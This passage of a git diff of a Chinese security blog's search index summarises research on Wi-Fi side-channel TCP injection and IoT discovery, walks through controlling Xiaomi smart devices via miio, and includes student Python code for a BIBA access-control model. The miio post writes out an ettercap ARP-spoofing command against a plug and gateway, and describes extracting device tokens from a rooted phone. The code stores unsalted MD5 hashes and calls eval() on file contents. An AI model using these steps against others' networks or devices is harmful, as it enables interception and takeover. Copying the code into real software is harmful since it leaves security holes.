      因此,这些数据包中包含有效ACK号的一个包将被缓冲,并破坏真实的HTTP响应头。浏览器执行注入的脚本时,它将通过websocket发送猜测的ACK号,提供有效的窗口内ACK号。

      (2)利用,由于客户端已经接受了额外的欺骗payload,推进了其预期的序列号,因此客户端和服务器实际上已经被去同步。攻击者现在可以简单地发送欺骗性响应(知道预期的序列号和有效的ACK号)。如果我们只想执行一次性注入,只需用恶意脚本替换第一步中的payload就足够了。
      此外,针对Windows的注入步骤存在更加通用的替代策略,不依赖于浏览器行为。 具体来说,由于HTTP响应的前几个字节是可预先确定的(即HTTP),不破坏真实的响应,而是覆盖标题和正文以形成合法但恶意的响应。 在这种情况下,浏览器将完全忘记注入的存在。 这表明一旦序列号泄露,就存在各种方法来有效地将数据注入浏览器,而不用进行基于时间信道的慢得多的ACK号推断。


    Discussion

    时序侧信道来自无线网络的半双工性质。由于无线协议中固有的冲突和回退,它被进一步放大。正如我们的测试路由器所证实的那样,现代无线路由器都支持CSMA / CA和RTS / CTS,因为它是802.11标准的一部分,并且该原则不太可能很快改变。
    虽然作者只讨论威胁模型,其中来自受害客户端的连接是针对性的,但攻击实际上也适用于源自通过同一无线路由器连接的其他客户端的连接。这是因为所有这些客户端(例如,在相同NAT之后)共享了相同的冲突域并因此遭受相同的定时信道。通过探测数据包在任何客户端上触发的响应将有效地延迟探测后查询。在这种情况下,受害者连接(通过傀儡打开)只是为远程攻击者提供了测量碰撞的机会。
    此外,我们可以扩展威胁模型以考虑无线连接的服务器,例如物联网设备。已经证明,通过公共IP地址和开放端口可以访问数百万个物联网设备。在这种情况下,可以针对此类IoT设备上的连接启动完全偏离路径的攻击。例如,计算在连接上交换的字节,终止与另一主机的连接,在正在进行的telnet连接上注入恶意命令。

    ]]>
    + + - 顶会论文 + + 顶会论文 + - - 侧信道攻击 - wifi - -
    - - <![CDATA[基于采集规则引擎的物联网设备发现方法]]> - %2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F - + + + + + 侧信道攻击 + + wifi + + + + + + + + + 基于采集规则引擎的物联网设备发现方法 + + /2018/12/23/%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87/ + + 论文来源:USENIX SECURITY 2018:Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices
    下载:
    原文pdf
    中文slides

    论文解读

    概要:

    • 物联网(IoT)设备的快速增长的格局为其管理和安全性带来了重大的技术挑战,因为这些物联网设备来自不同的设备类型,供应商和产品模型。
    • 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。
    • 这篇文章提出了一种基于采集规则的引擎(ARE),它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则,以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。
    • 为了收集交易集,ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以(类型,供应商和产品)的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。

    背景与动机:

    • 物联网蓬勃发展,造就了物联网设备的广泛应用,它不仅种类繁多,包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等,而且数量庞大,据统计,每天就会新增5500000台物联网设备。
    • 但是由于设备脆弱、缺乏管理和配置不当,物联网设备相比传统计算机要更不安全,比如之前爆发的Mirai僵尸网络,给美国造成了重大的损失。因此,为了更主动地保护IOT设备,提前发现、登记和注释物联网设备成为先决条件。
    • 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。

    所以,作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实,第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备,第二个Figure 2是有许多网站(如产品测评)会描述设备产品。从第一个事实,我们可以从应用层数据包获取关键词,然后根据这些关键词依据第二个事实进行网页爬虫,以获取网页上的相关描述,然后对这些描述进行自然语言处理和数据挖掘,从而建立起基于规则的映射。

    核心工作—Rule Miner:

    Rule Miner由三个部分构成,Transaction set是一对由应用层数据和相关网页组成的文本单元,它生成了一种规则: ,其中A是从应用层数据包中提取的一些特征,B是从相关网页抓取的设备描述;Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch),以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好,但好在实体与实体之间具有很高的依赖性,这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。

    完整架构和应用

    完整的ARE除了核心Rule Miner之外,还有Transaction Collection用于收集响应数据和网络爬虫,Rule Library用于存储生成的规则,Planner用于更新规则。
    作者主要将ARE应用于三个方面,一是互联网范围的设备测量统计,二是对受损设备进行检测,三是对易受攻击的设备进行分析。

    之后对ARE的效果与Nmap进行比较和评估,从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价,ARE都要优于Nmap。

    工作总结:

    • 提出ARE的框架:不需要数据集和人工干预,自动生成用于IOT设备识别的规则。
    • 实现了ARE的原型并评估了它的效果:ARE在一周内生成了大量的规则,而且IOT设备识别的细粒度超过现有工具。
    • 应用于三个场景中,主要发现有:大量IOT设备在互联网中可以抵达;成千上万的IOT设备易受攻击且暴露给了公众。
    ]]>
    + + - 顶会论文 + + 顶会论文 + - - USENIX - 数据挖掘 - 自然语言处理 - -
    - - <![CDATA[利用miio控制局域网内的小米智能设备]]> - %2F2018%2F12%2F15%2Fmiio-control%2F - + + + + + USENIX + + 数据挖掘 + + 自然语言处理 + + + + + + + + + 利用miio控制局域网内的小米智能设备 + + /2018/12/15/miio-control/ + + 控制局域网内的IOT设备

    中间人攻击—流量分析

    使用Nmap分析局域网内设备,得到智能设备的IP


    小米智能插座:192.168.31.197 网关:192.168.31.147(控制它的手机ip)

    ettercap嗅探智能设备和网关之间的流量

    sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147//

    wireshark抓包分析


    从图中可以看出,设备的命令控制包为UDP传输,既然是UDP协议传输,那么是否可以通过命令包重放攻击来对设备进行控制?
    了解到在homeassistant中可实现对小米设备的集成,并在其中对设备进行管理和操作。Homeassistant,主要以Python语言开发,既然它能操控小米设备,那它底层肯定有相关的函数调用库。
    为了可以消除对专有软件(米家app)的依赖,并能控制自己的设备,所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。
    Miio库支持的设备有:

    小米IOT控制流程

    在同一局域网中,小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下,向小米设备发送hello bytes就可以获得含有token的结构体数据。之后,构造相应的结构体,并且以同样的方式发送给设备即可完成控制。具体流程如下:

    设备Token的获取方式

    小米设备的token获取有三种途径:miio获取、从米家app获取、从数据库获取

    miio获取

    在ubuntu下,先安装miio,然后发现设备:
    npminstall -g miio
    miiodiscover

    但是很可惜,很多设备隐藏了token,使用该方法可能无法获取到token或获取到的token不正确。

    米家app获取

    这种方法需要的mijia app版本较老,且只对部分设备有效。

    从数据库获取token

    这种方法仅在Mi Home 5.0.19之前的版本可用。
    该方法是读取手机中米家的app中的数据记录来获取设备的token,具体步骤如下:

    • 准备一部获取root权限的安卓手机
    • 安装米家app并登录账号
    • 进入/data/data/com.xiaomi.smarthome/databases/
    • 拷贝db,下载到电脑
    • 前往网站,上传db,点击提交,即可获得token。
    • 8894c73cbd5c7224fb4b8a39e360c255

    脚本控制IOT设备

    首先随意发送hellobytes获得时间和设备ID,token我们自己设置;然后构造发送的数据结构msg,cmd中的method包括:set_power(控制开关)、get_prop(获取状态),控制的params是[‘on’]/ [‘off’],获取状态的params是[‘power’, ‘temperature’]

    如果获得了token,就能对小米的设备进行操作,如图下面是返回的信息。

    总结

    从目前的智能家居市场来看,用户不会只使用单个智能设备厂商的设备,所以对于厂商来说,通过开放接口给用户一些局域网的控制“自由”,实现不同厂商设备的联动是一个不错的选择。
    从另外一个角度,本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证,并进而进行控制,无形中给入侵者留了一扇门。例如,攻击者可经过扫描互联网发现家庭路由器,并利用弱口令或设备漏洞获得路由器的shell权限,接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞,大大提高了攻击者获取token的难度。

    ]]>
    + + - IOT + + IOT + - - 小米 - miio - 中间人 - 重放攻击 - -
    - - <![CDATA[利用python实现BIBA模型]]> - %2F2018%2F11%2F16%2FBIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)%2F - + + + + + 小米 + + miio + + 中间人 + + 重放攻击 + + + + + + + + + 利用python实现BIBA模型 + + /2018/11/16/BIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)/ + + 基于python语言的BIBA模型图形界面实现

    实验目的:

    1. 查阅资料,了解biba安全模型的相关知识
    2. 通过编程实现基于biba模型的完整性访问控制,进一步掌握biba模型的规则
    3. 使用python语言实现,熟练pyqt的图形界面设计方法

    实验环境:

    • 操作系统:Windows10
    • 工具版本:python3.7,pyqt5

    实验原理:

    什么是安全模型

    • 系统的元素

      具有行为能力的主体
      不具有行为能力的客体

    • 系统的操作行为

      可以执行的命令:读、写、执行

    • 对系统行为的约束方式

      对行为的控制策略

    • 模型从抽象层次规定了系统行为和约束行为的方式
    • 模型往往用状态来表示

      系统行为所依赖的环境
      行为对系统产生的效果

      biba完整性模型:

      • 完整性威胁问题

        完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;
        来源:内部&外部;
        类型:直接&间接

    外部的直接外部的间接内部的直接内部的间接
    外部系统恶意地篡改另一个系统的数据或程序一个外部系统插入恶意的子程序修改自己的代码修改自己的指针
    • biba模型的完整性定义

      完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。
      完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。

    • biba模型的规则
    • 对于写和执行操作,有如下规则:

      写规则控制
      当且仅当主体S的完整性级别大于或等于客体O的完整性级别时,主体S可以写客体O,一般称之为上写
      执行操作控制
      当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。

    • 关于读操作,有不同的控制策略:

      低水标模型
      任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。
      环模型
      不管完整性级别如何,任何主体都可以读任何客体
      严格完整性模型
      这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为下读

    一般都是指毕巴严格完整性模型,总结来说是上写、下读


    实验内容:

    用户登录实现

    核对用户输入的账户密码与存储的是否匹配

    login

    • 从用户输入框获取账户和密码
    • 检查输入信息是否合法(为空)
    • 从password.txt中获取,并保存在列表listFromLine中
    • 检查输入的账户是否存在
    • 若存在,检查对应的密码是否正确
    • 若正确,判断是管理员还是普通用户,并跳转相应的界面

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      def checkPass(self):
      nameIn = self.lineEdit.text()
      passwdIn = self.lineEdit_2.text()
      md5 = hashlib.md5()
      md5.update(passwdIn.encode("utf-8"))
      passwdIn = md5.hexdigest()
      if (nameIn == '') or (passwdIn == ''):
      QMessageBox.warning(self,
      "警告",
      "账号和密码不能为空",
      QMessageBox.Yes)
      self.lineEdit.setFocus()
      print(nameIn, passwdIn)
      fr = open('./etc/passwd.txt')
      arrayofLines = fr.readlines()
      numberofLines = len(arrayofLines)
      for line in arrayofLines:
      line = line.strip()
      listFromLine = line.split(':')
      name = listFromLine[0]
      if name == nameIn:
      numberofLines = -1
      passwd = listFromLine[1]
      if passwd == passwdIn:
      group = listFromLine[2]
      print("\n登录成功!\n")
      if name == 'root':
      print('root登录')
      rootUI.show()
      MainWindow.close()
      else:
      urName = nameIn
      mainUI.lineEdit.setText(urName)
      mainUI.lineEdit_2.setText(group)
      mainUI.show()
      MainWindow.close()
      else:
      QMessageBox.warning(self,
      "警告",
      "密码错误!",
      QMessageBox.Yes)
      self.lineEdit.setFocus()
      fr.close()
      return 0

    管理员功能实现

    管理员可以对用户进行增、删、查的操作

    login

    增加用户的实现

    • 获取管理员输入的用户名、密码和用户等级
    • 将明文密码转换为md5值
    • 判断输入的账户是否已经存在以及是否为空
    • 如果没有问题,将其存入passwd.txt的末尾
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    def adduser(self):
    print('开始添加')
    name = self.lineEdit_4.text()
    passwd = self.lineEdit_6.text()
    md5 = hashlib.md5()
    md5.update(passwd.encode("utf-8"))
    passwd = md5.hexdigest()
    group = self.comboBox.currentText()
    self.name = name
    if self.euxit():
    if name == '' or passwd == '':
    QMessageBox.warning(self,
    "警告",
    "账号和密码不能为空",
    QMessageBox.Yes)
    self.lineEdit.setFocus()
    else:
    cur_path = os.getcwd()
    filename = cur_path + '/etc/passwd.txt'
    fi = open(filename, 'r+')
    str = name + ':' + passwd + ':' + group + '\n'
    print('成功增加用户' + str + '\n')
    fi.seek(0, 2)
    fi.write(str)
    fi.close()
    else:
    QMessageBox.warning(self,
    "警告",
    "用户已存在",
    QMessageBox.Yes)
    self.lineEdit.setFocus()

    查询已有用户的实现

    从passwd.txt中逐行读出

    login

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    def readuser(self):
    print('readuser')
    cur_path = os.getcwd()
    filename = cur_path + '/etc/passwd.txt'
    fo = open(filename)
    arrayofLines = fo.readlines()
    names = ''
    for line in arrayofLines:
    line = line.strip()
    listFromLine = line.split(':')
    names = names + listFromLine[0] + '\n'
    self.textEdit.setPlaceholderText(names)

    删除用户的实现

    从passwd.txt中逐行读出用户名,并与待删除用户比较,如果相同,则删除该行

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    def rmuser(self):
    print(1)
    cur_path = os.getcwd()
    filename = cur_path + '/etc/passwd.txt'
    rmName = self.lineEdit.text()
    with open(filename, 'r',encoding="utf-8") as r:
    lines = r.readlines()
    lenl = len(lines)
    with open(filename, 'w',encoding="utf-8") as w:
    for line in lines:
    l = line.strip()
    listFromLine = l.split(':')
    if rmName == listFromLine[0]:
    print('删除用户' + rmName)
    continue
    if line == '\n':
    print('find换行')
    line = ''
    w.write(line)

    普通用户功能实现

    普通用户可以完成对合法权限文件的读取、增加内容(上写下读)以及创建文件的操作

    login

    读取文件内容

    双击文件名
    获取选中文件和当前用户的完整性级别
    如果用户的级别低于文件,则读取文件内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    def readfile(self):
    dict = self.getGrade()
    fgrade = str(dict[self.file_path])
    ugrade = self.lineEdit_2.text()
    if ugrade >= fgrade:
    print(ugrade+ ' 正在读取 '+fgrade)
    filename = self.file_path
    print(filename)
    fr = open(filename)
    lines = ''
    arrayofLines = fr.readlines()
    for line in arrayofLines:
    lines += line
    self.textEdit.setText(lines)
    print('读取成功\n')
    else:
    QMessageBox.warning(self,
    "警告",
    "您的用户等级太高",
    QMessageBox.Yes)
    self.lineEdit.setFocus()

    增加文件内容

    双击文件名
    获取选中文件和当前用户的完整性级别
    如果用户的级别高于文件,则写入文件内容

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    def writefile(self):
    dict = self.getGrade()
    fgrade = dict[self.file_path]
    ugrade = self.lineEdit_2.text()
    print(ugrade + ' 正在写入 ' + fgrade)
    if ugrade <= fgrade:
    filename = self.file_path
    str = self.textEdit.toPlainText()
    print(str)
    fo = open(filename, 'r+')
    fo.seek(0, 2)
    fo.write(str)
    else:
    QMessageBox.warning(self,
    "警告",
    "您的用户等级太低",
    QMessageBox.Yes)
    self.lineEdit.setFocus()

    创建文件

    获取当前用户名和输入的文件名
    在当前路径下创建名为用户名的文件
    并对新创建的文件与用户等级建立字典,新文件路径为key,用户等级为value
    这个字典方便读写时判断等级高低

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    def touchfile(self):
    urName = self.lineEdit.text()
    filename = self.lineEdit_4.text()
    cur_path = os.getcwd()
    new_path = os.path.join(cur_path + '/file', urName)
    print(urName)
    if os.path.exists(new_path) == False:
    os.mkdir(new_path)
    os.chdir(new_path)
    fr = open(filename, 'w')
    key = (new_path + '/' + filename).replace('\\', '/')
    fr.close()
    os.chdir(cur_path)
    fa = open('./etc/ac.txt', 'r')
    a = fa.read()
    if a == '':
    dict = {}
    else:
    dict = eval(a)
    dict[key] = self.lineEdit_2.text()
    fr = open('./etc/ac.txt', 'w')
    fr.write(str(dict))
    fr.close()
    fa.close()

    ]]>
    + + - 理论学习 + + 理论学习 + - - 模型实现 - python - 访问控制 - -
    - - <![CDATA[Hello World]]> - %2F2000%2F01%2F01%2Fhello-world%2F - - + + + + + 模型实现 + + python + + 访问控制 + + + +
    + + + + + Hello World + + /2000/01/01/hello-world/ + + 你好!我是混元霹雳手

    ]]>
    + + + +
    + + + +
    diff --git a/sitemap.xml b/sitemap.xml index 3d446bae..4dc7e984 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -4,7 +4,7 @@ https://cool-y.github.io/2019/03/28/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%AE%9E%E9%AA%8C/ - 2019-05-07T11:21:42.382Z + 2019-05-07T11:34:22.987Z diff --git a/tags/CVE/index.html b/tags/CVE/index.html index aa784fd0..bec2a302 100644 --- a/tags/CVE/index.html +++ b/tags/CVE/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/MiniUPnP/index.html b/tags/MiniUPnP/index.html index fe61eaf6..1e7be473 100644 --- a/tags/MiniUPnP/index.html +++ b/tags/MiniUPnP/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/QQ/index.html b/tags/QQ/index.html index ed075034..9a34acb5 100644 --- a/tags/QQ/index.html +++ b/tags/QQ/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/SSH/index.html b/tags/SSH/index.html index 8c3550ce..fc846068 100644 --- a/tags/SSH/index.html +++ b/tags/SSH/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/Samba/index.html b/tags/Samba/index.html index 62a8631c..4146ef66 100644 --- a/tags/Samba/index.html +++ b/tags/Samba/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/USENIX/index.html b/tags/USENIX/index.html index a55924f8..363b9e14 100644 --- a/tags/USENIX/index.html +++ b/tags/USENIX/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/index.html b/tags/index.html index ea1cd298..04b3d185 100644 --- a/tags/index.html +++ b/tags/index.html @@ -462,7 +462,7 @@ - 23k + 23.1k diff --git a/tags/itchat/index.html b/tags/itchat/index.html index 76de7f7e..5263175b 100644 --- a/tags/itchat/index.html +++ b/tags/itchat/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/miio/index.html b/tags/miio/index.html index c7e0cfe6..1549c478 100644 --- a/tags/miio/index.html +++ b/tags/miio/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/python/index.html b/tags/python/index.html index 5359650c..7f1371ee 100644 --- a/tags/python/index.html +++ b/tags/python/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/wifi/index.html b/tags/wifi/index.html index 3d1d1709..c2d11f0e 100644 --- a/tags/wifi/index.html +++ b/tags/wifi/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/中间人/index.html b/tags/中间人/index.html index 1ab36d0a..78037f67 100644 --- a/tags/中间人/index.html +++ b/tags/中间人/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/侧信道攻击/index.html b/tags/侧信道攻击/index.html index 70ce33d1..84d6b032 100644 --- a/tags/侧信道攻击/index.html +++ b/tags/侧信道攻击/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/取证/index.html b/tags/取证/index.html index 8332d13c..2834722b 100644 --- a/tags/取证/index.html +++ b/tags/取证/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/复原文件/index.html b/tags/复原文件/index.html index d0ebb616..e808f60d 100644 --- a/tags/复原文件/index.html +++ b/tags/复原文件/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/密码/index.html b/tags/密码/index.html index 6e2a9af8..6b83e9bd 100644 --- a/tags/密码/index.html +++ b/tags/密码/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/小米/index.html b/tags/小米/index.html index 0872addc..530da39e 100644 --- a/tags/小米/index.html +++ b/tags/小米/index.html @@ -522,7 +522,7 @@ - 23k + 23.1k diff --git a/tags/微信/index.html b/tags/微信/index.html index 0cd5fc78..e5e4d7a5 100644 --- a/tags/微信/index.html +++ b/tags/微信/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/数据库/index.html b/tags/数据库/index.html index 8bcc4fa1..95d11a9e 100644 --- a/tags/数据库/index.html +++ b/tags/数据库/index.html @@ -496,7 +496,7 @@ - 23k + 23.1k diff --git a/tags/数据挖掘/index.html b/tags/数据挖掘/index.html index 76325a78..b97e2af4 100644 --- a/tags/数据挖掘/index.html +++ b/tags/数据挖掘/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/文件格式/index.html b/tags/文件格式/index.html index 54e8b4d3..4f999fe4 100644 --- a/tags/文件格式/index.html +++ b/tags/文件格式/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/模型实现/index.html b/tags/模型实现/index.html index b2bbfc1d..8bf4a991 100644 --- a/tags/模型实现/index.html +++ b/tags/模型实现/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/破解/index.html b/tags/破解/index.html index e3c53e0d..2c097240 100644 --- a/tags/破解/index.html +++ b/tags/破解/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/自然语言处理/index.html b/tags/自然语言处理/index.html index 6fc76bf4..b040c563 100644 --- a/tags/自然语言处理/index.html +++ b/tags/自然语言处理/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/访问控制/index.html b/tags/访问控制/index.html index b75c4ee4..0016ed9f 100644 --- a/tags/访问控制/index.html +++ b/tags/访问控制/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/路由器/index.html b/tags/路由器/index.html index 9a31ba8d..4b981b92 100644 --- a/tags/路由器/index.html +++ b/tags/路由器/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/远程执行/index.html b/tags/远程执行/index.html index 130d526b..dab6b92b 100644 --- a/tags/远程执行/index.html +++ b/tags/远程执行/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/逆向/index.html b/tags/逆向/index.html index f0da94a6..18b9e9c5 100644 --- a/tags/逆向/index.html +++ b/tags/逆向/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k diff --git a/tags/重放攻击/index.html b/tags/重放攻击/index.html index 3302fe87..f1be82e4 100644 --- a/tags/重放攻击/index.html +++ b/tags/重放攻击/index.html @@ -470,7 +470,7 @@ - 23k + 23.1k